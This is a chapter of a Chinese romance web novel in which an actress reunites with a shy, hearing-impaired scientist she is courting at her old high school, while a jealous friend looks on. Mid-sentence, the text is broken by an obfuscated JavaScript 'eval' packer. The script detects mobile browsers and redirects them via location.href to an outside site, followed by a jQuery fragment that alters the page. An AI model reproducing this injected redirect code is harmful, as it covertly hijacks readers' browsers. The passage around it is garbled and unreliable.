乌曼因拉着折敛的手站起来,腿蹲得有些麻。
觊觎折敛这么多天,终于如愿以偿握住这双心心念念的手。
他的手很凉,仔细看关节处还有茧子,指节修长有力。
乌曼因没忍住,摸了摸。
和她想象里比起来更粗糙一点,带着点电子元件和金属混合的气息。
折敛滞了一下,若无其事地把手抽回去。
折敛抽手的动作很轻,带着些不适应和人接触的矜持。
她遗憾地见好就收。
端庄,要保持女明星的端庄,她告诉自己,一顿饱还是顿顿饱她还是分得清的,把人吓着了可就不好了。
等到折敛成为了她的人,他那双美貌的手还不是任她搓圆揉扁。
倒也不需要问“你为什么会来”这种蠢问题,男人想来见你,无论多远都会来。
纷繁思绪汇合到嘴边,乌曼因脑子里飘过八百条撩汉语录,最后憋出一句:“你还对诗经有研究啊?”
……乌曼因,你不是前男友可以做婚礼一桌的吗,这是什么学术研讨开场白。
但不知道为什么,可能是因为折敛是她在维修店里捡到的、又是范略请来的顾问,和她工作范围差距太大,距离产生美。
随便的乌曼因一对上他清凌凌的眼睛,就没法把他当做娱乐圈里随便的男朋友。
俗话就是舍不得欺负老实人。
折敛顿了顿,有点逃避这个话题:“小的时候家里要求背的,其实不知道是什么意思。”
很早以前。爸妈带他去北京、去各种地方演讲,向所有人表演他的“只看一眼背完诗经”或者背完其他东西。
囫囵吞枣背出来的文字,折敛根本不懂,再加上从小到大完美地绕开了所有语文课程,他的文学素养只能说、是个中国人会说中国话。
至于李忘之。
李藏之和李忘之是双胞胎。
作为村里第一对双胞胎,乡下的新奇物种,阿婆专门找了乡里很有名望的大师给他们取名字。
收了一百块钱后说他取的这俩名字可以保佑一家人和和美美、平安康泰、百病全消。
不知道哪里来的野鸡大师。
李忘之很早就被送人了,某种意义上说,两人只是陌生人而已。
这家伙还打电话让他别露馅,破绽最大的就是她自己好吗?
事实上折敛多虑了,乌曼因是艺术生,两人的文学水平基本上在伯仲之间,难姐难弟,谁也别说谁。
两个文盲相对沉默了一下,双方都不是很想暴露自己的真实水平。
乌曼因装作很忙地拍拍牛仔裤,朝他的伞下又蹭过几分,两人贴在一起,跟说悄悄话似的:“你什么时候过来的,怎么不和我说一下?”
折敛的目光清清淡淡,扫过地上蹲着的一坨庞清,没把他放在眼里,轻声细语地对着乌曼因道:“刚刚才到的。”
“那你怎么找到这里的?”
“我看了你的朋友圈。”折敛解释。
乌曼因的朋友圈总是满满当当的,鲜活奔放,连图带字事无巨细地记录自己的生活小事,女明星起床了、女明星吃饭了、女明星去录歌了,九张图少一张图都被视为对微信排版的大不敬。
重返高中校园这么有纪念意义的事,自然也记录在了女明星的电子起居注里。
“哦哦,”乌曼因很容易就接受了这个理由,对折敛居然真的看她的朋友圈有些小窃喜,经过真音姐的打击之后她还以为折敛这么冷淡的人点赞纯属社交礼貌,“剧组那边没关系吗?”
“没关系,我已经帮他修改过一遍了,而且学生先过去了,”折敛说,“还有事的话可以微信说。”
“然后就翘班过来陪我了?”乌曼因歪头。
也不算错。
折敛思忖一下,点点头。
乌曼因心里乐滋滋的。
自己追crush,和被crush追的感觉到底是不一样的。
没想到折敛是个直球选手,直接追着她来到了黄钟县。
胆子更是大了不少,原本和她有眼神对视就害羞,现在居然敢直接和她一起撑伞。
也不知道为什么就突然间开窍了。
折敛偏头问:“你要找的人找到了吗?”
乌曼因:“……过程有些曲折,但我相信快了。”
折敛睫毛微颤,似乎不经意地扫过公告栏上的名字:“不知道突然过来会不会打扰,听你说是过来找人的,我就想,也许可以过来陪着你。没准我还能帮上一点忙。”
“不会打扰啊,”乌曼因哪里舍得对他说重话,“多一个人多份力嘛。”
向后的力也是力,折敛想。
庞清警惕地看着这个突然出现的男人。
又高又冷,身着简单的白色卫衣和黑色裤子,气质就和他们小地方的人不一样,明显是乌曼因鱼塘里的鱼。
但以他的身份又没立场对看着就是乌曼因的娱乐圈朋友说什么。
他暗暗为李藏之叹一声可惜。
等反应过来自己在可惜什么时,顿时想抽自己两巴掌,死脑,你在乱想什么。
他巴不得李藏之倒霉才对。
庞清把自己不爽归结为黄钟县居然没人能得到乌曼因青睐的埋怨。
没一个中用的。特别是李藏之,不知道躲到世界上哪个角落,让别人把乌曼因勾走了吧。
庞清蹲在旁边发出声意味不明的冷笑。乌曼因这才想起现场还有个活人,
“哦哦,对了,向你介绍一下,”乌曼因望着地上团成一团的庞清,再看看气质清冽干净的折敛,忽然觉得有些有点拿不出手,局促道,“这是我以前乐队的朋友,打碟的,庞清。”
折敛:?
谁?
他摸了摸左边耳朵上的银色助听器,怀疑自己听错了。
他的目光落到庞清脸上,企图从上面找到以前那个落拓不羁鼓手的一丝踪影。
折敛:……
完了,他好像也有点脸盲。
两边都迟迟没有动静,乌曼因不知道为什么氛围忽然冷却下来。
不好对折敛说什么,她拎着庞清到角落里低声咬牙:“怎么忽然不吭声了。”
“这野男人是谁?”庞清沉沉地问。
乌曼因也小声答:“他叫折敛,我的男友预备役,你给我精神点。”
“娱乐圈的?”
“勉强搭点边吧,剧组科学顾问,中科院的博士。”
庞清复杂地道:“这么多年,你还是喜欢学习好的?”
“?”
乌曼因本来想说才没有,她平等地欣赏各种美男,无论是纯情奶狗、高冷仙气、居家煮夫等等类型。
转念一想,其他类型都可以模仿出样子货,只有学习不好那是真的不好,于是——
“啊对对对我就喜欢学习好的。”
庞清的脸色更酸了:“看上个带助听器的残疾人,你也真不挑。”
这话乌曼因就不爱听了,折敛的耳朵更是缺憾美,是比萨斜塔的倾倒,是维纳斯的断臂,庞清这种没内涵的男人懂什么,于是“呵呵”一声,开始地图炮:
“我乐意,怎么了?起码身材好,身材都不好的男人能有什么魅力。”
这话戳到了庞清痛脚,他顿时红温了。
其实乌曼因只是嘴上犟。
折敛总是穿着宽大的长袖卫衣,夏天都保守地不露胳膊,半遮半掩地露出半截锁骨和手,勾得人直心痒痒。乌曼因还真没注意过折敛身材如何、有没有腹肌。
但是看那皮包骨的雪白手腕子,肯定够瘦。
男人又高又瘦又美又话少,赢在起跑线上。
庞清暗暗吸了吸肚子,发誓今年、一定要减肥成功。
“那今天还找人吗?”
“先带折敛去吃饭。”乌曼因像是被妖妃蛊惑的昏君。
“看来预备男友比李藏之还重要啊。”
“哪能那么比,不在一个赛道上。”乌曼因不理庞清突然间的阴阳怪气。
她对上折敛安静的眼睛,确实对他特意过来找她,但是她还忙于其他事、身边损友还拖她后腿而产生了点歉意。
得知李藏之其实有个妹妹后,乌曼因心里的劲不知道为什么泄了一半。
他可能也没有她想象得那么艰难,妹妹也很棒很聪明。
也许她回到北京,联系上李忘之,就能见到很久很久没有音讯的李藏之。
她去兄妹家做客,两个人嘴里会聊着她听不懂的东西,远比他们在杂物室里的曾经更深奥也更和谐。
乌曼因忽然有些兴致阑珊。
……
庞清不知道抽什么风,她索性也不介绍了,不理那个蹲在地上的蘑菇,回来拉拉折敛的袖子,带他去了趟小卖部,给自己补充了一根冰棍,顺便给折敛也买了一根。
折敛确认了庞清没认出他,才放下心来。他一向习惯接受乌曼因的投喂,伸手自然地接过,小心翼翼地撕开包装,像对待什么珍贵标本一样谨慎。
他小口舔着,不是很习惯的样子。
很久没有乌曼因给他投喂垃圾食品了。
“万元说你以前是戴眼镜的,”路过坐满高三学生们伏案的教室,青葱的气息扑面而来,乌曼因转头盯着折敛的脸,把他盯到不自在偏过头,“怎么现在不戴了?”
校园限定版折敛那么青涩好看。
“……度数不深,只在大学的时候戴过,教室有点太大了,我不喜欢坐在前面。”
乌曼因打量:“咦,你看上去不像是会上课溜号的类型来着。”
“因为很多时候是蹭课,不想被注意到。”
“被发现是蹭课的会被赶出来吗?”
“不会,解释了就行。”
“那岂不是想听什么就可以进去听?”
折敛点点头。
原来普通的大学是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323453|183197||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这样的,乌曼因有点向往。
为了显示自己也是肚里有货的人,她啃着冰棍回忆自己苦逼的求学历程:“我在职读了音乐硕士嘛,其实是当时报考的时候选错了,我以为音乐硕士和音乐表演硕士差不多,结果报了之后发现完全不是一回事。”
折敛眼睛睁大了一个弧度,显然很感兴趣,等着她讲下去。
乌曼因叹气:“本来想学声乐的,后来才发现我报考的方向要学的是和声曲式和作曲理论,混了三年,偏偏我毕业那年论文查重率标准大幅度降低,我写了将近一年才把论文写完。”
生活不易,女明星延毕。
折敛嘴角微微一动。
“你笑什么?”乌曼因突然凑近,鼻尖几乎碰到他的下巴。
折敛这才意识到自己嘴角上扬的弧度。他下意识后退半步,却被乌曼因抓住了手腕。
“别躲。”她拇指无意识地摩挲着他腕骨突出的地方,“你手腕好细,平时不吃饭的吗?”
折敛感觉被她触碰的那块皮肤像被烙铁烫过一样发烫。
他应该抽回手的,但某种隐秘的渴望让他并不动作。
任由乌曼因牵着他的手腕。
两人一边说话,一边走回公告栏处。
乌曼因觉得自己肩负导游重任:“难得来一趟多辛苦啊,我请你吃饭吧,尽地主之谊。我跟你说以前在黄钟县呆了两年,算半个本地人,哪里的菜地道我门儿清,保证让你宾至如归。”
真正的本地人庞清:?
见乌曼因最后的同事爱就是还记得有他这个人,庞清为自己和李藏之都叹口气,大家既然同是败犬就不必互相伤害了。
师父她被男妖精拐走了。
走出校门,路过保安室的时候,乌曼因想起了什么,刻意拉过折敛的手,手指插/进他的指间。
折敛:“?”
他想拿回手,却发现乌曼因箍得死紧,根本抽不开。
乌曼因微笑地向年轻保安打招呼。
十分满意他脸上“我cp怎么be了”的悲愤神色。
……
到了车上,庞清开车,剩下两个人窝在后座上,吹着空调,头挨着头。
一起浏览着乌曼因手机上推荐的黄钟县美食。
“对了,你订好酒店了吗?”乌曼因问。
“还没有,打算到晚上再订。”
“那你和我订一个酒店吧,”乌曼因切换了个app,很殷勤地向他推荐。
由于做好了半个月驻扎黄钟县的准备,她找了家五星级的长租酒店,就是位置比较偏,价格也不便宜。
想起折敛的工作,某种意义上他还是个没毕业的学生,这么一想她泡嫩草的既视感更重了些,但嫩草应该只是个穷学生吧。
她的手又慢下来了:“要不……先问问本地人哪个酒店性价比比较高一点?”
“没事。”折敛拿过她的手机,看了下酒店名,“是哪种房间?”
“别浪费啊,”乌曼因眼睛转了一圈,“要不这样,我升级成套间,两张床,也没比我现在的房间贵多少,然后我俩平摊。”
说得她很勤俭持家的样子。
庞清已经不忍心听下去了。
算盘珠子打得都要崩他脸上了。
他应该在车底,而不该在车里。
折敛看上去很没心机地“嗯”了一声。
升级好酒店,两人继续看美食。
“有想要吃什么吗,黄钟县的炒菜还挺好吃的。”
“我记得你喜欢吃辣。”折敛说。
乌曼因歪头看他:“你怎么知道?”
折敛的耳尖微微泛红,手指蜷缩进卫衣袖口:“……看你朋友圈,感觉你喜欢。”
乌曼因笑眯眯:“那就这家本地辣菜馆吧,我以前吃过,挺好吃的,在北京我经纪人一般不让我吃。”
折敛别过脸去,乌曼因注意到他后颈那片皮肤泛着淡淡的粉色。
折敛本来就显小,毛茸茸的头发半藏在卫衣兜帽里。
混进学生堆里也毫无违和感。
像是她干坏事从学校里偷出来的学生。
乌曼因像是忽然想起来前座还有个人:“对了庞清你要一起去吃吗?”
庞清面无表情:“我妈妈喊我回家吃饭。”
“哦那真是太好了……我是说太遗憾了,麻烦把我们送到迎宾路上那家辣菜馆就行。”
庞清忍不住捏紧方向盘,悲愤。
这男人一来,乌曼因就变了,连李藏之在她的心里的地位都急剧下降。
世界上怎么会有如此重色轻友的人。
折敛的手机忽然不断震动,他不动声色拿出来瞄了一眼。
万元:不是,哥,你怎么把我丢下了?我还在学校里啊!
万元:?
万元:啊啊啊啊你怎么跟着女明星跑了!!
折敛面无表情地把手机放了回去,权当没看到。